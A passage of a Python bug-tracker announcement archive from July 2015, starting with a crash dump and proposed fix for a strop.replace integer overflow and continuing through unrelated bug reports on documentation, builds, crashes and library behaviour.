0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 57096000
Attempt to write to address 57096000

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

FAULTING_THREAD:  00001408

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  57096000

WRITE_ADDRESS:  57096000 

FOLLOWUP_IP: 
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

NTGLOBALFLAG:  470

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE

LAST_CONTROL_TRANSFER:  from 1e056efc to 7026ae7a

STACK_TEXT:  
0027fca0 1e056efc 5708fc94 01e37a7c 00015554 MSVCR90!memcpy+0x5a
0027fcd0 1e05700b 01e2ba4e 38e171c8 01d244cc python27!mymemreplace+0xfc
0027fd18 1e0aaed7 00000000 01cebe40 01de2c38 python27!strop_replace+0xbb
0027fd30 1e0edcc0 01de2c38 01cebe40 00000000 python27!PyCFunction_Call+0x47
0027fd5c 1e0f012a 0027fdb4 01ce6c80 01ce6c80 python27!call_function+0x2b0
0027fdcc 1e0f1100 01ddd9d0 00000000 01ce6c80 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f1162 01ce6c80 01ddd9d0 01ceaa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e1170ca 01ce6c80 01ceaa50 01ceaa50 python27!PyEval_EvalCode+0x22
0027fe44 1e118215 01dca090 01ceaa50 01ceaa50 python27!run_mod+0x2a
0027fe64 1e1187b0 702c7408 00342ebb 00000101 python27!PyRun_FileExFlags+0x75
0027fea4 1e119129 702c7408 00342ebb 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038cb5 702c7408 00342ebb 00000001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 00000002 00342e98 00341950 python27!Py_Main+0x965
0027ff80 74b97c04 7ffde000 74b97be0 b4e726fd python!__tmainCRTStartup+0x10f
0027ff94 7701ad1f 7ffde000 b723218a 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ffffffff 77000212 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_FILE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_LINE_NUMBER:  188

FAULTING_SOURCE_CODE:  
No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm'


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  msvcr90!memcpy+5a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: MSVCR90

IMAGE_NAME:  MSVCR90.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  51ea24a5

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!memcpy

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE_msvcr90!memcpy+5a

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:string_dereference_fill_pattern_nxcode_c0000005_msvcr90.dll!memcpy

FAILURE_ID_HASH:  {031149d8-0626-9042-d8b7-a1766b1c5514}

Followup: MachineOwner
---------

To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred. Proposed patches for stropmodule.c and test_strop.py are attached.

----------
files: strop.replace_Integer_Overflow.patch
keywords: patch
messages: 247290
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: strop.replace Integer Overflow
type: security
versions: Python 2.7
Added file: http://bugs.python.org/file40006/strop.replace_Integer_Overflow.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24708>
_______________________________________

From report at bugs.python.org  Fri Jul 24 21:43:54 2015
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 24 Jul 2015 19:43:54 +0000
Subject: [New-bugs-announce] [issue24709] Unix build uses
 '-Wno-unused-result', which icc doesn't recognize
Message-ID: <1437767034.87.0.232698584454.issue24709@psf.upfronthosting.co.za>


New submission from Zachary Ware:

It would be nice to leave out '-Wno-unused-result' when CC=icc to prevent superfluous warnings like:

icc: command line warning #10006: ignoring unknown option '-Wno-unused-result'

----------
components: Build
messages: 247299
nosy: zach.ware
priority: low
severity: normal
stage: needs patch
status: open
title: Unix build uses '-Wno-unused-result', which icc doesn't recognize
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24709>
_______________________________________

From report at bugs.python.org  Sat Jul 25 00:57:05 2015
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 24 Jul 2015 22:57:05 +0000
Subject: [New-bugs-announce] [issue24710] Class name hardcoded in
 TracebackException.from_exception()
Message-ID: <1437778625.24.0.630527994303.issue24710@psf.upfronthosting.co.za>


New submission from Berker Peksag:

Here is a patch that changes to use cls() instead of hardcoded TracebackException.

Serhiy also suggested on IRC to use the from_exception() classmethod in TracebackException's __init__ method.

----------
components: Library (Lib)
files: classmethod.diff
keywords: patch
messages: 247301
nosy: berker.peksag, rbcollins, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Class name hardcoded in TracebackException.from_exception()
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40008/classmethod.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24710>
_______________________________________

From report at bugs.python.org  Sat Jul 25 01:12:11 2015
From: report at bugs.python.org (Markus Unterwaditzer)
Date: Fri, 24 Jul 2015 23:12:11 +0000
Subject: [New-bugs-announce] [issue24711] Document getpass.getpass behavior
	on ^C
Message-ID: <1437779531.88.0.954988782388.issue24711@psf.upfronthosting.co.za>


New submission from Markus Unterwaditzer:

getpass.getpass doesn't enter a newline when the user aborts input with ^C, while input/raw_input does.

This behavior is surprising and can lead to mis-formatting of subsequent output. However, since this behavior exists since 2.7 and applications may have started to rely on it, I'd add a note to the documentation.

----------
assignee: docs at python
components: Documentation
messages: 247302
nosy: docs at python, untitaker
priority: normal
severity: normal
status: open
title: Document getpass.getpass behavior on ^C
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24711>
_______________________________________

From report at bugs.python.org  Sat Jul 25 01:19:04 2015
From: report at bugs.python.org (Biwin John)
Date: Fri, 24 Jul 2015 23:19:04 +0000
Subject: [New-bugs-announce] [issue24712] Docs page's sidebar vibrates on
 mouse wheel scroll on Chrome.
Message-ID: <1437779944.76.0.292855724616.issue24712@psf.upfronthosting.co.za>


Changes by Biwin John <biwin007 at gmail.com>:


----------
assignee: docs at python
components: Documentation
nosy: Biwin John, docs at python
priority: normal
severity: normal
status: open
title: Docs page's sidebar vibrates on mouse wheel scroll on Chrome.
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24712>
_______________________________________

From report at bugs.python.org  Sat Jul 25 10:49:06 2015
From: report at bugs.python.org (Petr Viktorin)
Date: Sat, 25 Jul 2015 08:49:06 +0000
Subject: [New-bugs-announce] [issue24713] Import docs reference the
	deprecated imp.reload
Message-ID: <1437814146.48.0.230121728687.issue24713@psf.upfronthosting.co.za>


New submission from Petr Viktorin:

In 3.4, `imp.reload` was deprecated in favor of `importlib.reload`.

https://docs.python.org/3/library/imp.html

----------
assignee: docs at python
components: Documentation
files: docs.patch
keywords: patch
messages: 247319
nosy: docs at python, encukou, eric.araujo, ezio.melotti, georg.brandl
priority: normal
severity: normal
status: open
title: Import docs reference the deprecated imp.reload
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40011/docs.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24713>
_______________________________________

From report at bugs.python.org  Sat Jul 25 11:40:48 2015
From: report at bugs.python.org (Michael Toews)
Date: Sat, 25 Jul 2015 09:40:48 +0000
Subject: [New-bugs-announce] [issue24714] Crash with string_at(None)
Message-ID: <1437817248.82.0.300387784193.issue24714@psf.upfronthosting.co.za>


New submission from Michael Toews:

On Debian x64 stable with Python 2.7 and 3.4, the following causes a segmentation fault:

from ctypes import string_at
string_at(None)

On Windows 64-bit with Python 2.7 it raises WindowsError and Python 3.3 raises OSError, both showing a message "access violation reading 0x0000000000000000", but it does not crash.

The above behavior was found when reading a result from a C API that can be either a zero-terminated string or NULL.

----------
components: ctypes
messages: 247325
nosy: mwtoews
priority: normal
severity: normal
status: open
title: Crash with string_at(None)
type: crash
versions: Python 2.7, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24714>
_______________________________________

From report at bugs.python.org  Sat Jul 25 11:51:11 2015
From: report at bugs.python.org (Jakub Wilk)
Date: Sat, 25 Jul 2015 09:51:11 +0000
Subject: [New-bugs-announce] [issue24715] Sorting HOW TO: bad example for
	reverse sort stability
Message-ID: <1437817871.39.0.0442628081402.issue24715@psf.upfronthosting.co.za>


New submission from Jakub Wilk:

https://docs.python.org/3/howto/sorting.html#odd-and-ends gives the following example for reverse sort stability:

>>> data = [('red', 1), ('blue', 1), ('red', 2), ('blue', 2)]
>>> assert sorted(data, reverse=True) == list(reversed(sorted(reversed(data))))

But here all the keys are different, so the result would be the same even if the sort algorithm weren't stable.

You probably wanted to pass to key=itemgetter(0) to both sorted() calls.

----------
assignee: docs at python
components: Documentation
messages: 247328
nosy: docs at python, jwilk
priority: normal
severity: normal
status: open
title: Sorting HOW TO: bad example for reverse sort stability

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24715>
_______________________________________

From report at bugs.python.org  Sat Jul 25 11:57:50 2015
From: report at bugs.python.org (Thomas Krijnen)
Date: Sat, 25 Jul 2015 09:57:50 +0000
Subject: [New-bugs-announce] [issue24716] Multiple fdopen() on mkstemp()
 descriptor crashes py27 interpreter
Message-ID: <1437818270.81.0.932913299447.issue24716@psf.upfronthosting.co.za>


New submission from Thomas Krijnen:

Following code crashes my Python 2.7.9 interpreter on Windows:

import os, tempfile
a, b = tempfile.mkstemp()
f = os.fdopen(a, "wb")
f = os.fdopen(a, "wb")
f.write("beer")
f.close()

----------
components: Windows
messages: 247329
nosy: Thomas Krijnen, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Multiple fdopen() on mkstemp() descriptor crashes py27 interpreter
type: crash
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24716>
_______________________________________

From report at bugs.python.org  Sat Jul 25 12:29:10 2015
From: report at bugs.python.org (eric)
Date: Sat, 25 Jul 2015 10:29:10 +0000
Subject: [New-bugs-announce] [issue24717] python logging handler not used
 when added after a process is started
Message-ID: <1437820150.2.0.817154151105.issue24717@psf.upfronthosting.co.za>


New submission from eric:

If I have interpreted the python3 documentation correctly, regardless of where I add the handler to the root logger, my log messages from within a Process should be sent to a file. However, this is not the case.

Here is a complete program which demonstrates the problem:

import logging
import logging.handlers

from multiprocessing import Process
from time import sleep

fileHandler = logging.FileHandler( 'mylog.log' )
fileHandler.setLevel( 5 )

logger = logging.getLogger( None )

def process_logger():

    print( "process waiting" )
    sleep( 5 )
    print( 'process start' )

    logger = logging.getLogger( None )

    for num in range( 1, 10 ):
        logger.critical( "critical: %d" % num )
        sleep(1)

#
# if this is where the handler is added, the critical messages
# will go to the file
#
logger.addHandler( fileHandler )

processLogger = Process( target=process_logger )
processLogger.start()

#
# if this is where the handler is added, the critical messages
# will not go to the file.
#
#logger.addHandler( fileHandler )

print( "started" )

I am using python 3.4.3 on OS X 10.10.4.

My guess as to why this does not work is that when I start the Process, it makes a copy of the current environment and if the handler has not been added by that time, the environment the Process is running in won't have it.

I have three questions:

Why do my messages not always end up in the file regardless of where I call logger.addHandler?

Should my messages always end up in the file?

If they should not, what is the best solution to the general problem of needed to manipulate handlers after a Process has been started?

----------
components: Extension Modules
messages: 247336
nosy: ericg97477
priority: normal
severity: normal
status: open
title: python logging handler not used when added after a process is started
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24717>
_______________________________________

From report at bugs.python.org  Sat Jul 25 12:40:59 2015
From: report at bugs.python.org (Daniel Pope)
Date: Sat, 25 Jul 2015 10:40:59 +0000
Subject: [New-bugs-announce] [issue24718] Specify interpreter when running
	in IDLE
Message-ID: <1437820859.91.0.219785167704.issue24718@psf.upfronthosting.co.za>


New submission from Daniel Pope:

I maintain a library called Pygame Zero which allows beginner programmers to start writing games without lines of boilerplate importing libraries, creating event loops and so on.

To support these features, Pygame Zero provides the 'pgzrun' command:

    pgzrun <script>

(or if you prefer, 'python -m pgzero <script>')

Any workarounds for this, to make games written with this framework run directly in IDLE, would detract from its "zero-boilerplate" approach.

I believe this is similar to, but different from #5680, which is about supplying sys.argv to the running process; this is about switching out interpreter entirely.

This issue corresponds to an issue in the Pygame Zero tracker:

https://bitbucket.org/lordmauve/pgzero/issues/23/add-a-way-of-invoking-pgzrun-on-the

----------
components: IDLE
messages: 247337
nosy: Daniel Pope
priority: normal
severity: normal
status: open
title: Specify interpreter when running in IDLE
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24718>
_______________________________________

From report at bugs.python.org  Sat Jul 25 13:33:53 2015
From: report at bugs.python.org (Pankaj Sharma)
Date: Sat, 25 Jul 2015 11:33:53 +0000
Subject: [New-bugs-announce] [issue24719] Resourc Leak in cPickle Module
Message-ID: <1437824033.54.0.506847250917.issue24719@psf.upfronthosting.co.za>


New submission from Pankaj Sharma:

Hi,
There is resource leak in cPickle module in function "Pickle_getvalue()". so need to free before return .
I have attached patched ,please review it.

Thnaks!

----------
components: Extension Modules, Library (Lib)
files: Python-2.7.10-cPickle.patch
keywords: patch
messages: 247345
nosy: benjamin.peterson, pankaj.s01
priority: normal
severity: normal
status: open
title: Resourc Leak in cPickle Module
type: resource usage
versions: Python 2.7
Added file: http://bugs.python.org/file40016/Python-2.7.10-cPickle.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24719>
_______________________________________

From report at bugs.python.org  Sat Jul 25 18:14:35 2015
From: report at bugs.python.org (node)
Date: Sat, 25 Jul 2015 16:14:35 +0000
Subject: [New-bugs-announce] [issue24720] Python install help
Message-ID: <1437840875.25.0.401848880298.issue24720@psf.upfronthosting.co.za>


New submission from node:

I am trying to install Python 3.5.0b2 on Win 8.1 but cannot get it loaded

http://pastebin.com/hKU2bvds

the error. hoping some one can help.

----------
messages: 247352
nosy: node
priority: normal
severity: normal
status: open
title: Python install help
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24720>
_______________________________________

From report at bugs.python.org  Sat Jul 25 19:10:58 2015
From: report at bugs.python.org (Eric Snow)
Date: Sat, 25 Jul 2015 17:10:58 +0000
Subject: [New-bugs-announce] [issue24721] The result of calling dict.*
 methods on OrderedDict is undefined.
Message-ID: <1437844258.42.0.543403557619.issue24721@psf.upfronthosting.co.za>


New submission from Eric Snow:

(see issue24667)

collections.OrderedDict subclasses dict so calling dict's methods on an OrderedDict works.  However, neither the pure Python nor the C implementation of OrderedDict was written to support doing so.  In fact, both of them currently enter an inconsistent state when this happens.  For example:

    # Python 3.4 (pure Python implementation)
    >>> from collections import OrderedDict
    >>> od = OrderedDict([('spam', 1), ('eggs', 2)])
    >>> dict.__delitem__(od, 'spam')
    >>> str(od)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "/usr/lib/python3.4/reprlib.py", line 24, in wrapper
        result = user_function(self)
      File "/usr/lib/python3.4/collections/__init__.py", line 198, in __repr__
        return '%s(%r)' % (self.__class__.__name__, list(self.items()))
      File "/usr/lib/python3.4/_collections_abc.py", line 485, in __iter__
        yield (key, self._mapping[key])
    KeyError: 'spam'

    # Python 3.5 (C implementation)
    >>> from collections import OrderedDict
    >>> od = OrderedDict([('spam', 1), ('eggs', 2)])
    >>> dict.__delitem__(od, 'spam')
    >>> str(od)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    KeyError: 'spam'

This is a consequence of subclassing a builtin type, which typically do not have good support for subclassing (e.g. issue10977).

It probably isn't worth making any changes to the code of either OrderedDict implementations.  At most I'd recommend a note in the OrderedDict documentation indicating that the results of passing an OrderedDict object to dict.* methods are undefined.

----------
assignee: docs at python
components: Documentation
messages: 247354
nosy: docs at python, eric.snow, rhettinger
priority: low
severity: normal
status: open
title: The result of calling dict.* methods on OrderedDict is undefined.
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24721>
_______________________________________

From report at bugs.python.org  Sat Jul 25 20:09:42 2015
From: report at bugs.python.org (node)
Date: Sat, 25 Jul 2015 18:09:42 +0000
Subject: [New-bugs-announce] [issue24722] Python install help
Message-ID: <1437847782.87.0.487739706148.issue24722@psf.upfronthosting.co.za>


New submission from node:

http://pastebin.com/D5eVxF1b

Sorry, where can I download the latest version? I went to python site and only saw this version

----------
messages: 247362
nosy: node
priority: normal
severity: normal
status: open
title: Python install help
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24722>
_______________________________________

From report at bugs.python.org  Sun Jul 26 00:08:56 2015
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 25 Jul 2015 22:08:56 +0000
Subject: [New-bugs-announce] [issue24723] The new typing module is not
	documented :-(
Message-ID: <1437862136.98.0.143477076953.issue24723@psf.upfronthosting.co.za>


New submission from STINNER Victor:

It looks like someone forgot to write the doc ;-)

https://docs.python.org/dev/library/typing.html

----------
assignee: docs at python
components: Documentation
messages: 247399
nosy: docs at python, gvanrossum, haypo
priority: normal
severity: normal
status: open
title: The new typing module is not documented :-(
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24723>
_______________________________________

From report at bugs.python.org  Sun Jul 26 05:35:13 2015
From: report at bugs.python.org (Eric S)
Date: Sun, 26 Jul 2015 03:35:13 +0000
Subject: [New-bugs-announce] [issue24724] Element.findall documentation
	misleading
Message-ID: <1437881713.88.0.256447477825.issue24724@psf.upfronthosting.co.za>


New submission from Eric S:

Documentation states:
Element.findall() finds only elements with a tag which are direct children of the current element.

More accurate to say "direct descendents" as "direct children" implies only one generation below whereas function goes down to all g...children. For-looping findall with inner recursion to rebuild hierarchy as dict, etc. can cause very large tree.

----------
messages: 247404
nosy: Eric S
priority: normal
severity: normal
status: open
title: Element.findall documentation misleading

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24724>
_______________________________________

From report at bugs.python.org  Sun Jul 26 09:35:31 2015
From: report at bugs.python.org (Ned Deily)
Date: Sun, 26 Jul 2015 07:35:31 +0000
Subject: [New-bugs-announce] [issue24725] test_socket testFDPassEmpty fails
 on OS X 10.11 DP with "Cannot allocate memory"
Message-ID: <1437896131.77.0.341264720465.issue24725@psf.upfronthosting.co.za>


New submission from Ned Deily:

======================================================================
ERROR: testFDPassEmpty (test.test_socket.RecvmsgSCMRightsStreamTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/test/test_socket.py", line 2799, in testFDPassEmpty
    len(MSG), 10240),
  File "/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/test/test_socket.py", line 1907, in doRecvmsg
    result = sock.recvmsg(bufsize, *args)
OSError: [Errno 12] Cannot allocate memory

======================================================================
ERROR: testFDPassEmpty (test.test_socket.RecvmsgIntoSCMRightsStreamTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/test/test_socket.py", line 2799, in testFDPassEmpty
    len(MSG), 10240),
  File "/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/test/test_socket.py", line 1998, in doRecvmsg
    result = sock.recvmsg_into([buf], *args)
OSError: [Errno 12] Cannot allocate memory

----------------------------------------------------------------------
Ran 507 tests in 28.819s

FAILED (errors=2, skipped=122)
test test_socket failed

Same failures seen with 3.4.3 and 3.5.0b4 installers on 10.11 (El Capitan) Developer Previews 2 and 4.  Passes on 10.10.x and earlier recent OS X systems.  There have been other problems in this area on OS X in the past (see Issue12958).  Probably need to open a RADAR.

----------
components: Macintosh
messages: 247414
nosy: ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: test_socket testFDPassEmpty fails on OS X 10.11 DP with "Cannot allocate memory"
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24725>
_______________________________________

From report at bugs.python.org  Sun Jul 26 12:20:52 2015
From: report at bugs.python.org (Mark Shannon)
Date: Sun, 26 Jul 2015 10:20:52 +0000
Subject: [New-bugs-announce] [issue24726] OrderedDict has strange behaviour
 when dict.__setitem__ is used.
Message-ID: <1437906052.21.0.35165181866.issue24726@psf.upfronthosting.co.za>


New submission from Mark Shannon:

Setting an item in an ordered dict via dict.__setitem__, or by using it as an object dictionary and setting an attribute on that object, creates a dictionary whose repr is:

OrderedDict([<NULL>])

Test case attached.

----------
components: Library (Lib)
files: test.py
messages: 247421
nosy: Mark.Shannon, eric.snow
priority: normal
severity: normal
status: open
title: OrderedDict has strange behaviour when dict.__setitem__ is used.
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file40028/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24726>
_______________________________________

From report at bugs.python.org  Sun Jul 26 12:57:51 2015
From: report at bugs.python.org (Barney Stratford)
Date: Sun, 26 Jul 2015 10:57:51 +0000
Subject: [New-bugs-announce] [issue24727] Expand readline module
Message-ID: <1437908271.28.0.296512613048.issue24727@psf.upfronthosting.co.za>


New submission from Barney Stratford:

I have a use case where a daemon thread needs to write periodic updates to sys.stdout. I'd prefer it not to print in the middle of a command being typed. In order to achieve this, I have added to the readline module. There is now a function to determine whether we are reading a line, and one to call rl_forced_update_display. These functions enable me to say (in the daemon thread):

def describe (indicator):
    if readline.reading_line ():
        print ()
        print (indicator.description)
        readline.forced_update_display ()
    else:
        print (indicator.description)


I have read PEP7, and have made patchtest on my patch.

----------
components: Library (Lib)
files: patch.txt
messages: 247424
nosy: Barney Stratford
priority: normal
severity: normal
status: open
title: Expand readline module
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40029/patch.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24727>
_______________________________________

From report at bugs.python.org  Sun Jul 26 17:02:48 2015
From: report at bugs.python.org (Louis Dassy)
Date: Sun, 26 Jul 2015 15:02:48 +0000
Subject: [New-bugs-announce] [issue24728] Build fails when threads are
	disabled
Message-ID: <1437922968.37.0.713638847231.issue24728@psf.upfronthosting.co.za>


New submission from Louis Dassy:

If threads are disabled using --without-threads, the build of  Python/pythonrun.c will fail because PyGILState_GetThisThreadState() is undefined. I've attached the trivial fix, modeled after 29f51c4ae11a.

----------
components: Interpreter Core
files: without_threads.patch
keywords: patch
messages: 247430
nosy: louis.dassy
priority: normal
severity: normal
status: open
title: Build fails when threads are disabled
type: compile error
versions: Python 3.4
Added file: http://bugs.python.org/file40030/without_threads.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24728>
_______________________________________

From report at bugs.python.org  Sun Jul 26 17:20:18 2015
From: report at bugs.python.org (Jason R. Coombs)
Date: Sun, 26 Jul 2015 15:20:18 +0000
Subject: [New-bugs-announce] [issue24729] Input and Output tutorial
 erroneously references default encoding UTF-8
Message-ID: <1437924018.14.0.782968400575.issue24729@psf.upfronthosting.co.za>


New submission from Jason R. Coombs:

In Doc/tutorial/inputoutput.rst, the docs state this about opening a file:

 Normally, files are opened in :dfn:`text mode`, that means, you read and write
 strings from and to the file, which are encoded in a specific encoding (the
 default being UTF-8).

That statement is directly contradicted by the docs for open (Doc/library/functions.rst) which indicate:

 In text mode, if encoding is not specified the encoding used is platform
 dependent: locale.getpreferredencoding(False) is called to get the current
 locale encoding.

The implementation matches the latter indication.

----------
assignee: docs at python
components: Documentation, IO
messages: 247433
nosy: docs at python, jason.coombs
priority: normal
severity: normal
status: open
title: Input and Output tutorial erroneously references default encoding UTF-8
versions: Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24729>
_______________________________________

From report at bugs.python.org  Sun Jul 26 19:43:12 2015
From: report at bugs.python.org (Dorin)
Date: Sun, 26 Jul 2015 17:43:12 +0000
Subject: [New-bugs-announce] [issue24730] Returning a float via a method
 yields in an approximate value received
Message-ID: <1437932592.06.0.62983095329.issue24730@psf.upfronthosting.co.za>


New submission from Dorin:

I was making a script to get some best configurations in a recursive manner when I noticed a weird result. In the attached script the method should return 1.3 but it received 1.2999999997

----------
components: Macintosh
files: recursive.py
messages: 247444
nosy: ned.deily, ronaldoussoren, terminadoru
priority: normal
severity: normal
status: open
title: Returning a float via a method yields in an approximate value received
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file40034/recursive.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24730>
_______________________________________

From report at bugs.python.org  Mon Jul 27 01:21:25 2015
From: report at bugs.python.org (Kevin Modzelewski)
Date: Sun, 26 Jul 2015 23:21:25 +0000
Subject: [New-bugs-announce] [issue24731] Incorrect assert in str_subtype_new
Message-ID: <1437952885.56.0.72690112679.issue24731@psf.upfronthosting.co.za>


New submission from Kevin Modzelewski:

(Using python 3 terminology)  str_subtype_new is the function that creates instances of any subtypes of bytes (ie is called by bytes_new if the requested type is not PyBytes_Type -- looks like this function's name comes from python 2).  Its approach is to create a bytes object using the same arguments, and then copy the resulting data into the subclass-instance's memory.  It does

    tmp = bytes_new(&PyBytes_Type, args, kwds);
    [error checking]
    assert(PyBytes_CheckExact(tmp));

The problem is that bytes_new can return a subclass of bytes, if the argument provides a __bytes__ method that returns a bytes-subtype.  For example

    class MyBytes(bytes):
        pass
    class C(object):
        def __bytes__(self):
            return MyBytes(b"hello world")
    MyBytes(C()) # fails the assert

This doesn't seem to cause any issues other than the failing assert in debug builds; it seems like the assert should just be relaxed from PyBytes_CheckExact to PyBytes_Check since that's enough to guarantee that the upcoming manipulation of the "tmp" variable is going to be valid.  Also, this would match how unicode_subtype_new behaves.

This bug also applies to Python 2, since I think the relevant code is the same, though in that case it applies to str instead of bytes.

----------
components: Interpreter Core
messages: 247451
nosy: Kevin Modzelewski
priority: normal
severity: normal
status: open
title: Incorrect assert in str_subtype_new
versions: Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24731>
_______________________________________

From report at bugs.python.org  Mon Jul 27 04:13:48 2015
From: report at bugs.python.org (Bryan G. Olson)
Date: Mon, 27 Jul 2015 02:13:48 +0000
Subject: [New-bugs-announce] [issue24732] 3.5.0b3 Windows accept() on
